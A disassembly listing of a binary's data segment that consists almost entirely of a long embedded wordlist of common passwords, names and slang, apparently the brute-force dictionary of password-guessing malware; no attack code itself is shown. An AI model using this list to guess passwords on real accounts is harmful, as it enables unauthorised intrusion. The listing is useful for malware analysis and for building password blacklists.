		unicode	0, <+>,0
a@@		db '@@',0               ; DATA XREF: seg002:0042DF58o
		align 4
a@_6:					; DATA XREF: seg000:0040D08Fo
					; seg002:0042DF54o
		unicode	0, <@>,0
off_42F390	dd offset loc_40211D+4	; DATA XREF: seg002:0042DF50o
dword_42F394	dd 2121h	dword_42F398	dd 24234021h, 2A265E25h, 0dword_42F3A4	dd 24234021h, 265E25hdword_42F3AC	dd 24234021h, 5E25hdword_42F3B4	dd 24234021h, 25hdword_42F3BC	dd 234021h	dword_42F3C0	dd 4021h	dword_42F3C4	dd 21h							; seg000:004129B6o ...
dword_42F3C8	dd 25h		aZimmerman	db 'zimmerman',0        ; DATA XREF: seg002:0042DF24o
		align 4
aZap		db 'zap',0              ; DATA XREF: seg002:0042DF20o
aYellowstone	db 'yellowstone',0      ; DATA XREF: seg002:0042DF1Co
aXyz		db 'xyz',0              ; DATA XREF: seg002:0042DF18o
					; seg002:0042E410o
aWisconsin	db 'wisconsin',0        ; DATA XREF: seg002:0042DF14o
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: seg002:0042DF10o
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: seg002:0042DF0Co
		align 4
aTty		db 'tty',0              ; DATA XREF: seg002:0042DF08o
aTopography	db 'topography',0       ; DATA XREF: seg002:0042DF04o
		align 4
aTemptation	db 'temptation',0       ; DATA XREF: seg002:0042DF00o
		align 10h
aTelephone	db 'telephone',0        ; DATA XREF: seg002:0042DEFCo
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: seg002:0042DEF8o
		align 4
aSys		db 'sys',0              ; DATA XREF: seg002:0042DEF4o
aSupported	db 'supported',0        ; DATA XREF: seg002:0042DEF0o
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: seg002:0042DEECo
		align 4
aSuperstage	db 'superstage',0       ; DATA XREF: seg002:0042DEE8o
		align 10h
aSun		db 'sun',0              ; DATA XREF: seg002:0042DEE4o
aStuttgart	db 'stuttgart',0        ; DATA XREF: seg002:0042DEE0o
		align 10h
aStratford	db 'stratford',0        ; DATA XREF: seg002:0042DEDCo
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: seg002:0042DED8o
		align 4
aSignature	db 'signature',0        ; DATA XREF: seg002:0042DED4o
		align 4
aSheffield	db 'sheffield',0        ; DATA XREF: seg002:0042DED0o
		align 10h
aSal		db 'sal',0              ; DATA XREF: seg002:0042DECCo
aRochester	db 'rochester',0        ; DATA XREF: seg002:0042DEC8o
		align 10h
aRje		db 'rje',0              ; DATA XREF: seg002:0042DEC4o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: seg002:0042DEC0o
		align 4
aPub		db 'pub',0              ; DATA XREF: seg002:0042DEBCo
aProfessor	db 'professor',0        ; DATA XREF: seg002:0042DEB8o
		align 4
aPrinceton	db 'princeton',0        ; DATA XREF: seg002:0042DEB4o
		align 10h
aPondering	db 'pondering',0        ; DATA XREF: seg002:0042DEB0o
		align 4
aPolynomial	db 'polynomial',0       ; DATA XREF: seg002:0042DEACo
		align 4
aPersimmon	db 'persimmon',0        ; DATA XREF: seg002:0042DEA8o
		align 4
aPercolate	db 'percolate',0        ; DATA XREF: seg002:0042DEA4o
		align 10h
aPam		db 'pam',0              ; DATA XREF: seg002:0042DEA0o
aPad		db 'pad',0              ; DATA XREF: seg002:0042DE9Co
aOceanography	db 'oceanography',0     ; DATA XREF: seg002:0042DE98o
		align 4
aNutrition	db 'nutrition',0        ; DATA XREF: seg002:0042DE94o
		align 4
aNew		db 'new',0              ; DATA XREF: seg002:0042DE90o
aNet		db 'net',0              ; DATA XREF: seg002:0042DE8Co
aMit		db 'mit',0              ; DATA XREF: seg002:0042DE88o
aMgr		db 'mgr',0              ; DATA XREF: seg002:0042DE84o
aMacintosh	db 'macintosh',0        ; DATA XREF: seg002:0042DE80o
		align 10h
aLiz		db 'liz',0              ; DATA XREF: seg002:0042DE7Co
aLee		db 'lee',0              ; DATA XREF: seg002:0042DE78o
aLamination	db 'lamination',0       ; DATA XREF: seg002:0042DE74o
		align 4
aKim		db 'kim',0              ; DATA XREF: seg002:0042DE70o
aJoy		db 'joy',0              ; DATA XREF: seg002:0042DE68o
aJen		db 'jen',0              ; DATA XREF: seg002:0042DE64o
aInnocuous	db 'innocuous',0        ; DATA XREF: seg002:0042DE60o
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: seg002:0042DE5Co
		align 4
aIbm		db 'ibm',0              ; DATA XREF: seg002:0042DE58o
aHappening	db 'happening',0        ; DATA XREF: seg002:0042DE54o
		align 4
aHal		db 'hal',0              ; DATA XREF: seg002:0042DE50o
aGnu		db 'gnu',0              ; DATA XREF: seg002:0042DE4Co
aFun		db 'fun',0              ; DATA XREF: seg002:0042DE48o
aForesight	db 'foresight',0        ; DATA XREF: seg002:0042DE44o
		align 10h
aFoolproof	db 'foolproof',0        ; DATA XREF: seg002:0042DE40o
		align 4
aExtension	db 'extension',0        ; DATA XREF: seg002:0042DE3Co
		align 4
aEstablish	db 'establish',0        ; DATA XREF: seg002:0042DE38o
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: seg002:0042DE34o
		align 10h
aElizabeth	db 'elizabeth',0        ; DATA XREF: seg002:0042DE30o
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: seg002:0042DE2Co
		align 4
aEdinburgh	db 'edinburgh',0        ; DATA XREF: seg002:0042DE28o
		align 4
aDos		db 'dos',0              ; DATA XREF: seg002:0042DE24o
aDog		db 'dog',0              ; DATA XREF: seg002:0042DE20o
aDiscovery	db 'discovery',0        ; DATA XREF: seg002:0042DE1Co
		align 4
aDesperate	db 'desperate',0        ; DATA XREF: seg002:0042DE18o
		align 4
aDeb		db 'deb',0              ; DATA XREF: seg002:0042DE14o
aCornelius	db 'cornelius',0        ; DATA XREF: seg002:0042DE10o
		align 4
aCommrades	db 'commrades',0        ; DATA XREF: seg002:0042DE0Co
		align 10h
aChristine	db 'christine',0        ; DATA XREF: seg002:0042DE08o
		align 4
aChristina	db 'christina',0        ; DATA XREF: seg002:0042DE04o
		align 4
aChemistry	db 'chemistry',0        ; DATA XREF: seg002:0042DE00o
		align 4
aCatherine	db 'catherine',0        ; DATA XREF: seg002:0042DDFCo
		align 10h
aCat		db 'cat',0              ; DATA XREF: seg002:0042DDF8o
aCampanile	db 'campanile',0        ; DATA XREF: seg002:0042DDF4o
		align 10h
aCad		db 'cad',0              ; DATA XREF: seg002:0042DDF0o
aBsd		db 'bsd',0              ; DATA XREF: seg002:0042DDECo
aBob		db 'bob',0              ; DATA XREF: seg002:0042DDE8o
aBicameral	db 'bicameral',0        ; DATA XREF: seg002:0042DDE4o
		align 4
aBeethoven	db 'beethoven',0        ; DATA XREF: seg002:0042DDE0o
		align 4
aAtmosphere	db 'atmosphere',0       ; DATA XREF: seg002:0042DDDCo
		align 10h
aAsm		db 'asm',0              ; DATA XREF: seg002:0042DDD8o
aAsd		db 'asd',0              ; DATA XREF: seg002:0042DDD4o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: seg002:0042DDD0o
		align 4
aAnn		db 'ann',0              ; DATA XREF: seg002:0042DDCCo
aAndromache	db 'andromache',0       ; DATA XREF: seg002:0042DDC8o
		align 4
aAmy		db 'amy',0              ; DATA XREF: seg002:0042DDC4o
aAmorphous	db 'amorphous',0        ; DATA XREF: seg002:0042DDC0o
		align 4
aAma		db 'ama',0              ; DATA XREF: seg002:0042DDBCo
aAlf		db 'alf',0              ; DATA XREF: seg002:0042DDB8o
aAlbatross	db 'albatross',0        ; DATA XREF: seg002:0042DDB4o
		align 4
aAda		db 'ada',0              ; DATA XREF: seg002:0042DDB0o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: seg002:0042DDACo
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: seg002:0042DDA8o
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: seg002:0042DDA4o
		align 10h
aHaxing		db 'haxing',0           ; DATA XREF: seg002:0042DDA0o
		align 4
aHax		db 'hax',0              ; DATA XREF: seg002:0042DD9Co
aWh0re		db 'wh0re',0            ; DATA XREF: seg002:0042DD98o
		align 4
aHo		db 'ho',0               ; DATA XREF: seg002:0042DD94o
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: seg002:0042DD90o
		align 10h
aWindoze95	db 'windoze95',0        ; DATA XREF: seg002:0042DD8Co
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: seg002:0042DD88o
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: seg002:0042DD84o
		align 4
aWindoze2k	db 'windoze2k',0        ; DATA XREF: seg002:0042DD80o
		align 10h
aWindozexp	db 'windozexp',0        ; DATA XREF: seg002:0042DD7Co
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: seg002:0042DD78o
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: seg002:0042DD74o
		align 4
aWindowsme	db 'windowsME',0        ; DATA XREF: seg002:0042DD70o
		align 10h
aWindows2k	db 'windows2k',0        ; DATA XREF: seg002:0042DD6Co
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: seg002:0042DD68o
		align 4
aMs		db 'MS',0               ; DATA XREF: seg002:0042DD64o
		align 4
aM_0		db 'M$',0               ; DATA XREF: seg002:0042DD60o
		align 10h
aBilly		db 'billy',0            ; DATA XREF: seg002:0042DD5Co
		align 4
aWindose	db 'windose',0          ; DATA XREF: seg002:0042DD58o
aWindoze	db 'windoze',0          ; DATA XREF: seg002:0042DD54o
aWindowz	db 'windowz',0          ; DATA XREF: seg002:0042DD50o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: seg002:0042DD4Co
aDonaldduck	db 'donaldduck',0       ; DATA XREF: seg002:0042DD48o
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: seg002:0042DD44o
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: seg002:0042DD40o
		align 4
aDud3		db 'dud3',0             ; DATA XREF: seg002:0042DD3Co
		align 4
aDudette	db 'dudette',0          ; DATA XREF: seg002:0042DD38o
aD00d		db 'd00d',0             ; DATA XREF: seg002:0042DD34o
		align 4
aLol		db 'lol',0              ; DATA XREF: seg002:0042DD30o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: seg002:0042DD2Co
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: seg002:0042DD28o
		align 10h
aRosco		db 'Rosco',0            ; DATA XREF: seg002:0042DD24o
		align 4
aRoss		db 'Ross',0             ; DATA XREF: seg002:0042DD20o
		align 10h
aTestin		db 'testin',0           ; DATA XREF: seg002:0042DD1Co
		align 4
aTester		db 'tester',0           ; DATA XREF: seg002:0042DD18o
		align 10h
a00000000	db '00000000',0         ; DATA XREF: seg002:0042DD14o
		align 4
aZulu		db 'zulu',0             ; DATA XREF: seg002:0042DD10o
		align 4
aZombie		db 'zombie',0           ; DATA XREF: seg002:0042DD0Co
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: seg002:0042DD08o
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: seg002:0042DD04o
		align 10h
aZiggy		db 'ziggy',0            ; DATA XREF: seg002:0042DD00o
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: seg002:0042DCFCo
		align 4
aZebra		db 'zebra',0            ; DATA XREF: seg002:0042DCF8o
		align 4
aYoung		db 'young',0            ; DATA XREF: seg002:0042DCF4o
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: seg002:0042DCF0o
		align 10h
aYolanda	db 'yolanda',0          ; DATA XREF: seg002:0042DCECo
aYellowst	db 'yellowst',0         ; DATA XREF: seg002:0042DCE8o
		align 4
aYellow		db 'yellow',0           ; DATA XREF: seg002:0042DCE4o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: seg002:0042DCE0o
		align 4
aYang		db 'yang',0             ; DATA XREF: seg002:0042DCDCo
					; seg002:0042E418o
		align 4
aYaco		db 'yaco',0             ; DATA XREF: seg002:0042DCD8o
					; seg002:0042E414o
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: seg002:0042DCD4o
		align 4
aXray		db 'xray',0             ; DATA XREF: seg002:0042DCD0o
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: seg002:0042DCCCo
		align 4
aXmen		db 'xmen',0             ; DATA XREF: seg002:0042DCC8o
		align 4
aXman		db 'xman',0             ; DATA XREF: seg002:0042DCC4o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: seg002:0042DCC0o
		align 4
aXena		db 'xena',0             ; DATA XREF: seg002:0042DCBCo
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: seg002:0042DCB8o
aWwii		db 'wwii',0             ; DATA XREF: seg002:0042DCB4o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: seg002:0042DCB0o
		align 4
aWorm		db 'worm',0             ; DATA XREF: seg002:0042DCACo
		align 10h
aWork		db 'work',0             ; DATA XREF: seg002:0042DCA8o
		align 4
aWorf		db 'worf',0             ; DATA XREF: seg002:0042DCA4o
		align 10h
aWordperf	db 'wordperf',0         ; DATA XREF: seg002:0042DCA0o
		align 4
aWord		db 'word',0             ; DATA XREF: seg002:0042DC9Co
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: seg002:0042DC98o
		align 10h
aWood		db 'wood',0             ; DATA XREF: seg002:0042DC94o
		align 4
aWomen		db 'women',0            ; DATA XREF: seg002:0042DC90o
		align 10h
aWombat		db 'wombat',0           ; DATA XREF: seg002:0042DC8Co
		align 4
aWoman		db 'woman',0            ; DATA XREF: seg002:0042DC88o
		align 10h
aWolverin	db 'wolverin',0         ; DATA XREF: seg002:0042DC84o
		align 4
aWolf		db 'wolf',0             ; DATA XREF: seg002:0042DC80o
		align 4
aWizard		db 'wizard',0           ; DATA XREF: seg002:0042DC7Co
		align 4
aWithin		db 'within',0           ; DATA XREF: seg002:0042DC78o
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: seg002:0042DC74o
aWisconsi	db 'wisconsi',0         ; DATA XREF: seg002:0042DC70o
		align 4
aWired		db 'wired',0            ; DATA XREF: seg002:0042DC6Co
		align 10h
aWinston	db 'winston',0          ; DATA XREF: seg002:0042DC68o
aWing		db 'wing',0             ; DATA XREF: seg002:0042DC64o
		align 10h
aWine		db 'wine',0             ; DATA XREF: seg002:0042DC60o
		align 4
aWindows	db 'windows',0          ; DATA XREF: seg002:0042DC5Co
aWilma		db 'wilma',0            ; DATA XREF: seg002:0042DC58o
		align 4
aWillie		db 'willie',0           ; DATA XREF: seg002:0042DC54o
		align 10h
aWilliams	db 'williams',0         ; DATA XREF: seg002:0042DC50o
		align 4
aWilliam	db 'william',0          ; DATA XREF: seg002:0042DC4Co
aWill		db 'will',0             ; DATA XREF: seg002:0042DC48o
		align 4
aWhore		db 'whore',0            ; DATA XREF: seg002:0042DC44o
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: seg002:0042DC40o
		align 10h
aWhitney	db 'whitney',0          ; DATA XREF: seg002:0042DC3Co
aWhiting	db 'whiting',0          ; DATA XREF: seg002:0042DC38o
aWhite		db 'white',0            ; DATA XREF: seg002:0042DC34o
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: seg002:0042DC30o
		align 10h
aWhatnot	db 'whatnot',0          ; DATA XREF: seg002:0042DC2Co
aWhatever	db 'whatever',0         ; DATA XREF: seg002:0042DC28o
		align 4
aWestern	db 'western',0          ; DATA XREF: seg002:0042DC24o
aWest		db 'west',0             ; DATA XREF: seg002:0042DC20o
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: seg002:0042DC1Co
		align 10h
aWendy		db 'wendy',0            ; DATA XREF: seg002:0042DC18o
		align 4
aWendi		db 'wendi',0            ; DATA XREF: seg002:0042DC14o
		align 10h
aWell		db 'well',0             ; DATA XREF: seg002:0042DC10o
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: seg002:0042DC0Co
		align 10h
aWeed		db 'weed',0             ; DATA XREF: seg002:0042DC08o
		align 4
aWednesda	db 'wednesda',0         ; DATA XREF: seg002:0042DC04o
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: seg002:0042DC00o
aWave		db 'wave',0             ; DATA XREF: seg002:0042DBFCo
		align 4
aWater		db 'water',0            ; DATA XREF: seg002:0042DBF8o
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: seg002:0042DBF4o
		align 4
aWasp		db 'wasp',0             ; DATA XREF: seg002:0042DBF0o
		align 10h
aWarren		db 'warren',0           ; DATA XREF: seg002:0042DBECo
		align 4
aWarp		db 'warp',0
		align 10h
aWargames	db 'wargames',0
		align 4
aWarfare	db 'warfare',0
aWarez		db 'warez',0
		align 4
aWard		db 'ward',0
		align 4
aWaco		db 'waco',0
		align 4
aVodka		db 'vodka',0
		align 4
aVisualba	db 'visualba',0
		align 10h
aVisual		db 'visual',0
		align 4
aVisitor	db 'visitor',0
aVirus		db 'virus',0
		align 4
aVirginia	db 'virginia',0
		align 4
aVirgin		db 'virgin',0
		align 4
aVillage	db 'village',0
aVideogam	db 'videogam',0
		align 10h
aVideo		db 'video',0
		align 4
aVictor		db 'victor',0
		align 10h
aVicky		db 'vicky',0
		align 4
aVertigo	db 'vertigo',0
aVeronica	db 'veronica',0
		align 4
aVenus		db 'venus',0
		align 4
aVasant		db 'vasant',0
		align 4
aVampire	db 'vampire',0
aValerie	db 'valerie',0
aVagina		db 'vagina',0
		align 4
aUucp		db 'uucp',0
		align 4
aUtility	db 'utility',0
aUtil		db 'util',0
		align 4
aUsmc		db 'usmc',0
		align 4
aUsername	db 'username',0
		align 10h
aUsermane	db 'usermane',0
		align 4
aUsenet		db 'usenet',0
		align 4
aUrsula		db 'ursula',0
		align 4
aUrchin		db 'urchin',0
		align 4
aUranus		db 'uranus',0
		align 4
aUpload		db 'upload',0
		align 4
aUnlock		db 'unlock',0
		align 4
aUnknown_0	db 'unknown',0
aUniversi	db 'universi',0
		align 10h
aUniverse	db 'universe',0
		align 4
aUniversa	db 'universa',0
		align 4
aUniform	db 'uniform',0
aUnicorn	db 'unicorn',0
aUnhappy	db 'unhappy',0
aUndo		db 'undo',0
		align 4
aUncle		db 'uncle',0
		align 10h
aUmesh		db 'umesh',0
		align 4
aUgly		db 'ugly',0
		align 10h
aTuttle		db 'tuttle',0
		align 4
aTurn		db 'turn',0
		align 10h
aTuesday	db 'tuesday',0
aTubas		db 'tubas',0
		align 10h
aTruth		db 'truth',0
		align 4
aTrue		db 'true',0
		align 10h
aTron		db 'tron',0
		align 4
aTrombone	db 'trombone',0
		align 4
aTrojan		db 'trojan',0
		align 4
aTrivial	db 'trivial',0
aTrisha		db 'trisha',0
		align 4
aTrek		db 'trek',0
		align 4
aTree		db 'tree',0
		align 4
aTrapdoor	db 'trapdoor',0
		align 4
aTrap		db 'trap',0
		align 10h
aTransfer	db 'transfer',0
		align 4
aTrails		db 'trails',0
		align 4
aTracy		db 'tracy',0
		align 4
aTracie		db 'tracie',0
		align 4
aTraci		db 'traci',0
		align 4
aToyota_0	db 'toyota',0           ; DATA XREF: seg002:0042E3E8o
		align 4
aToxic		db 'toxic',0
		align 4
aTortoise	db 'tortoise',0
		align 4
aTopograp	db 'topograp',0
		align 4
aTomato		db 'tomato',0
		align 4
aTokenrin	db 'tokenrin',0
		align 4
aToken		db 'token',0
		align 10h
aToggle		db 'toggle',0
		align 4
aToad		db 'toad',0
		align 10h
aTits		db 'tits',0
		align 4
aTina		db 'tina',0
		align 10h
aTime		db 'time',0
		align 4
aTiger		db 'tiger',0            ; DATA XREF: seg002:0042E3DCo
		align 10h
aTiffany	db 'tiffany',0
aThursday	db 'thursday',0
		align 4
aThin		db 'thin',0
		align 4
aTheresa	db 'theresa',0
aThailand	db 'thailand',0
		align 10h
aText		db 'text',0
		align 4
aTetris		db 'tetris',0
		align 10h
aTess		db 'tess',0
		align 4
aTerminat	db 'terminat',0
		align 4
aTerminal	db 'terminal',0
		align 10h
aTera		db 'tera',0
		align 4
aTennis		db 'tennis',0
		align 10h
aTemptati	db 'temptati',0
		align 4
aTelnet		db 'telnet',0
		align 4
aTelephon	db 'telephon',0
		align 10h
aTeenage	db 'teenage',0
aTeen		db 'teen',0
		align 10h
aTech		db 'tech',0
		align 4
aTears		db 'tears',0
		align 10h
aTeapot		db 'teapot',0
		align 4
aTeam		db 'team',0
		align 10h
aTaylor		db 'taylor',0
		align 4
aTarragon	db 'tarragon',0
		align 4
aTarget		db 'target',0
		align 4
aTara		db 'tara',0
		align 4
aTape		db 'tape',0
		align 4
aTango		db 'tango',0
		align 4
aTangerin	db 'tangerin',0
		align 10h
aTammy		db 'tammy',0
		align 4
aTamie		db 'tamie',0            ; DATA XREF: seg002:0042DA2Co
		align 10h
aTami		db 'tami',0             ; DATA XREF: seg002:0042DA28o
		align 4
aTamara		db 'tamara',0           ; DATA XREF: seg002:0042DA24o
		align 10h
aTall		db 'tall',0             ; DATA XREF: seg002:0042DA20o
		align 4
aTalk		db 'talk',0             ; DATA XREF: seg002:0042DA1Co
		align 10h
aTabasco	db 'tabasco',0          ; DATA XREF: seg002:0042DA18o
aSysop		db 'sysop',0            ; DATA XREF: seg002:0042DA14o
		align 10h
aSysadmin	db 'sysadmin',0         ; DATA XREF: seg002:0042DA10o
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: seg002:0042DA0Co
		align 4
aSybil		db 'sybil',0            ; DATA XREF: seg002:0042DA08o
		align 10h
aSword		db 'sword',0            ; DATA XREF: seg002:0042DA04o
		align 4
aSwitch		db 'switch',0           ; DATA XREF: seg002:0042DA00o
		align 10h
aSweat		db 'sweat',0            ; DATA XREF: seg002:0042D9FCo
		align 4
aSwearer	db 'swearer',0          ; DATA XREF: seg002:0042D9F8o
aSuzie		db 'suzie',0            ; DATA XREF: seg002:0042D9F4o
		align 4
aSuzanne	db 'suzanne',0          ; DATA XREF: seg002:0042D9F0o
aSusie		db 'susie',0            ; DATA XREF: seg002:0042D9ECo
		align 4
aSusanne	db 'susanne',0          ; DATA XREF: seg002:0042D9E8o
aSusan		db 'susan',0            ; DATA XREF: seg002:0042D9E4o
		align 4
aSurfing	db 'surfing',0          ; DATA XREF: seg002:0042D9E0o
aSurfer		db 'surfer',0           ; DATA XREF: seg002:0042D9DCo
		align 4
aSupporte	db 'supporte',0         ; DATA XREF: seg002:0042D9D8o
		align 4
aSupport	db 'support',0          ; DATA XREF: seg002:0042D9D4o
aSupervis	db 'supervis',0         ; DATA XREF: seg002:0042D9D0o
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: seg002:0042D9CCo
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: seg002:0042D9C8o
		align 10h
aSuperson	db 'superson',0         ; DATA XREF: seg002:0042D9C4o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: seg002:0042D9C0o
		align 4
aSunday		db 'sunday',0           ; DATA XREF: seg002:0042D9BCo
		align 10h
aSummer		db 'summer',0           ; DATA XREF: seg002:0042D9B8o
		align 4
aSucks		db 'sucks',0            ; DATA XREF: seg002:0042D9B4o
		align 10h
aSuckmydi	db 'suckmydi',0         ; DATA XREF: seg002:0042D9B0o
		align 4
aSuck		db 'suck',0             ; DATA XREF: seg002:0042D9ACo
		align 4
aSuccess	db 'success',0          ; DATA XREF: seg002:0042D9A8o
aSubway		db 'subway',0           ; DATA XREF: seg002:0042D9A4o
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: seg002:0042D9A0o
		align 10h
aStuttgar	db 'stuttgar',0         ; DATA XREF: seg002:0042D99Co
		align 4
aStrip		db 'strip',0            ; DATA XREF: seg002:0042D994o
		align 4
aString		db 'string',0           ; DATA XREF: seg002:0042D990o
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: seg002:0042D98Co
		align 4
aStratfor	db 'stratfor',0         ; DATA XREF: seg002:0042D988o
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: seg002:0042D984o
					; seg002:off_42549Co
		align 10h
aStrange	db 'strange',0          ; DATA XREF: seg002:0042D980o
aStones		db 'stones',0           ; DATA XREF: seg002:0042D97Co
		align 10h
aStoned		db 'stoned',0           ; DATA XREF: seg002:0042D978o
		align 4
aStoneage	db 'stoneage',0         ; DATA XREF: seg002:0042D974o
		align 4
aSteve		db 'steve',0            ; DATA XREF: seg002:0042D970o
		align 4
aStereo		db 'stereo',0           ; DATA XREF: seg002:0042D96Co
		align 4
aStephani	db 'stephani',0         ; DATA XREF: seg002:0042D968o
		align 10h
aSteph		db 'steph',0            ; DATA XREF: seg002:0042D964o
		align 4
aSteel		db 'steel',0            ; DATA XREF: seg002:0042D960o
		align 10h
aSteal		db 'steal',0            ; DATA XREF: seg002:0042D95Co
		align 4
aSteak		db 'steak',0            ; DATA XREF: seg002:0042D958o
		align 10h
aStarwars	db 'starwars',0         ; DATA XREF: seg002:0042D954o
		align 4
aStartup	db 'startup',0          ; DATA XREF: seg002:0042D950o
aStartrek	db 'startrek',0         ; DATA XREF: seg002:0042D94Co
		align 10h
aStart		db 'start',0            ; DATA XREF: seg000:0040ED47o
					; seg002:0042D948o
		align 4
aStarship	db 'starship',0         ; DATA XREF: seg002:0042D944o
		align 4
aStar		db 'star',0             ; DATA XREF: seg002:0042D940o
		align 4
aStacy		db 'stacy',0            ; DATA XREF: seg002:0042D93Co
		align 4
aStacie		db 'stacie',0           ; DATA XREF: seg002:0042D938o
		align 4
aStaci		db 'staci',0            ; DATA XREF: seg002:0042D934o
		align 4
aStacey		db 'stacey',0           ; DATA XREF: seg002:0042D930o
		align 4
aSr71		db 'sr71',0             ; DATA XREF: seg002:0042D92Co
		align 4
aSquires	db 'squires',0          ; DATA XREF: seg002:0042D928o
aSpunk		db 'spunk',0            ; DATA XREF: seg002:0042D924o
		align 4
aSpringer	db 'springer',0         ; DATA XREF: seg002:0042D920o
		align 10h
aSpring		db 'spring',0           ; DATA XREF: seg002:0042D91Co
		align 4
aSpred		db 'spred',0            ; DATA XREF: seg002:0042D918o
		align 10h
aSpit		db 'spit',0             ; DATA XREF: seg002:0042D914o
		align 4
aSpiderma	db 'spiderma',0         ; DATA XREF: seg002:0042D910o
		align 4
aSpider		db 'spider',0           ; DATA XREF: seg002:0042D90Co
		align 4
aSpice		db 'spice',0            ; DATA XREF: seg002:0042D908o
		align 4
aSpell		db 'spell',0            ; DATA XREF: seg002:0042D904o
		align 4
aSpear		db 'spear',0            ; DATA XREF: seg002:0042D900o
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: seg002:0042D8FCo
		align 10h
aSpaceshi	db 'spaceshi',0         ; DATA XREF: seg002:0042D8F8o
		align 4
aSouth		db 'south',0            ; DATA XREF: seg002:0042D8F4o
		align 4
aSource		db 'source',0           ; DATA XREF: seg002:0042D8F0o
		align 4
aSossina	db 'sossina',0          ; DATA XREF: seg002:0042D8ECo
aSonya		db 'sonya',0            ; DATA XREF: seg002:0042D8E8o
		align 4
aSonic		db 'sonic',0            ; DATA XREF: seg002:0042D8E4o
		align 4
aSonia		db 'sonia',0            ; DATA XREF: seg002:0042D8E0o
		align 4
aSondra		db 'sondra',0           ; DATA XREF: seg002:0042D8DCo
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: seg002:0042D8D8o
		align 10h
aSoftware	db 'software',0         ; DATA XREF: seg002:0042D8D4o
		align 4
aSoft		db 'soft',0             ; DATA XREF: seg002:0042D8D0o
		align 4
aSodomy		db 'sodomy',0           ; DATA XREF: seg002:0042D8CCo
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: seg002:0042D8C8o
		align 4
aSocial		db 'social',0           ; DATA XREF: seg002:0042D8C4o
		align 10h
aSoap		db 'soap',0             ; DATA XREF: seg002:0042D8C0o
		align 4
aSnoopy		db 'snoopy',0           ; DATA XREF: seg002:0042D8BCo
		align 10h
aSnatch		db 'snatch',0           ; DATA XREF: seg002:0042D8B8o
		align 4
aSnake		db 'snake',0            ; DATA XREF: seg002:0042D8B4o
		align 10h
aSnafu		db 'snafu',0            ; DATA XREF: seg002:0042D8B0o
		align 4
aSnach		db 'snach',0            ; DATA XREF: seg002:0042D8ACo
		align 10h
aSmut		db 'smut',0             ; DATA XREF: seg002:0042D8A8o
		align 4
aSmtp		db 'smtp',0             ; DATA XREF: seg002:0042D8A4o
		align 10h
aSmother	db 'smother',0          ; DATA XREF: seg002:0042D8A0o
aSmooch		db 'smooch',0           ; DATA XREF: seg002:0042D89Co
		align 10h
aSmiles		db 'smiles',0           ; DATA XREF: seg002:0042D898o
		align 4
aSmile		db 'smile',0            ; DATA XREF: seg002:0042D894o
		align 10h
aSmart		db 'smart',0            ; DATA XREF: seg002:0042D890o
		align 4
aSmall		db 'small',0            ; DATA XREF: seg002:0042D88Co
		align 10h
aSlut		db 'slut',0             ; DATA XREF: seg002:0042D888o
		align 4
aSlow		db 'slow',0             ; DATA XREF: seg002:0042D884o
		align 10h
aSliders	db 'sliders',0          ; DATA XREF: seg002:0042D880o
aSlick		db 'slick',0            ; DATA XREF: seg002:0042D87Co
		align 10h
aSlave		db 'slave',0            ; DATA XREF: seg002:0042D878o
		align 4
aSkull		db 'skull',0            ; DATA XREF: seg002:0042D874o
		align 10h
aSite		db 'site',0             ; DATA XREF: seg002:0042D870o
		align 4
aSingle		db 'single',0           ; DATA XREF: seg002:0042D86Co
		align 10h
aSinger		db 'singer',0           ; DATA XREF: seg002:0042D868o
		align 4
aSimulati	db 'simulati',0         ; DATA XREF: seg002:0042D864o
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: seg002:0042D860o
		align 10h
aSimple		db 'simple',0           ; DATA XREF: seg002:0042D85Co
		align 4
